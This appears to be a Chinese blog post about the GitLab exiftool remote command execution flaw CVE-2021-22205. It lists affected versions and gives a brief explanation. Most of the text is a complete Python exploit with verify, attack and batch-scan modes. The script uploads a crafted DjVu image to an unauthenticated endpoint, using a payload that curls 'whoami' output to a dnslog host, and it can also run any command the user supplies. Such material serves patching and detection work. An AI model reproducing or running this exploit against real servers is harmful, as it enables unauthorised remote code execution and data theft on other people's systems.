CVE-2021-22205 Gitlab exiftool 远程命令执行漏洞
一、背景
公司某服务器受到攻击，排查后发现攻破点为CVE-2021-22205 Gitlab 远程命令执行漏洞
影响版本
- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8
二、原理
主要是gitlab调用了exiftool（一个图像处理软件)，而exitftool存在命令执行漏洞（CVE-2021-22205），从而导致gitlab也存在此问题，现复现一下该漏洞。 三、攻击脚本
执行以下脚本后在服务器复现了该漏洞
import requests from bs4 import BeautifulSoup import base64 import random import sys import os import argparse requests.packages.urllib3.disable_warnings() def title(): print(""" ______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____ / ___ / / ____| |___ / _ ___ / | |___ |___ |___ / _ | ___| | | / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ | |___ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) | ____ | _/ |_____| |_____|___/_____|_| |_____|_____|_____|___/|____/ Author:Al1ex@Heptagram Github:https://github.com/Al1ex """) print(''' 验证模式：python CVE-2021-22205.py -v true -t target_url 攻击模式：python CVE-2021-22205.py -a true -t target_url -c command 批量检测：python CVE-2021-22205.py -s true -f file ''') def check(target_url): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="html.parser") token = soup.findAll('meta')[16].get("content") data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{curl `whoami`.82sm53.dnslog.cn} . \n" b ") ) nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 目标 {} 存在漏洞".format(target_url)) else: print("[-] 目标 {} 不存在漏洞".format(target_url)) except Exception as e: print(e) def attack(target_url,command): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="html.parser") token = soup.findAll('meta')[16].get("content") data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{"+ command +"} . \n" b ") ) nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 目标 {} 存在漏洞".format(target_url)) print("[+] 请到dnslog或主机检查执行结果") else: print("[-] 目标 {} 不存在漏洞".format(target_url)) except Exception as e: print(e) def scan(file): for url_link in open(file, 'r', encoding='utf-8'): if url_link.strip() != '': url_path = format_url(url_link.strip()) check(url_path) def format_url(url): try: if url[:4] != "http": url = "https://" + url url = url.strip() return url except Exception as e: print('URL 错误 {0}'.format(url)) def main(): parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE') parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ') parser.add_argument('-t', '--target', type=str, help=' 目标URL ') parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ') parser.add_argument('-c', '--command', type=str, help=' 执行命令 ') parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ') parser.add_argument('-f', '--file', type=str, help=' 文件路径 ') args = parser.parse_args() verify_model = args.verify target_url = args.target attack_model = args.attack command = args.command scan_model = args.scan file = args.file if verify_model is True and target_url !=None: check(target_url) elif attack_model is True and target_url != None and command != None: attack(target_url,command) elif scan_model is True and file != None: scan(file) else: sys.exit(0) if __name__ == '__main__': title() main() 参考资料
原理：https://devcraft.io/2021/05/0…
POC：https://github.com/Al1ex/CVE-…
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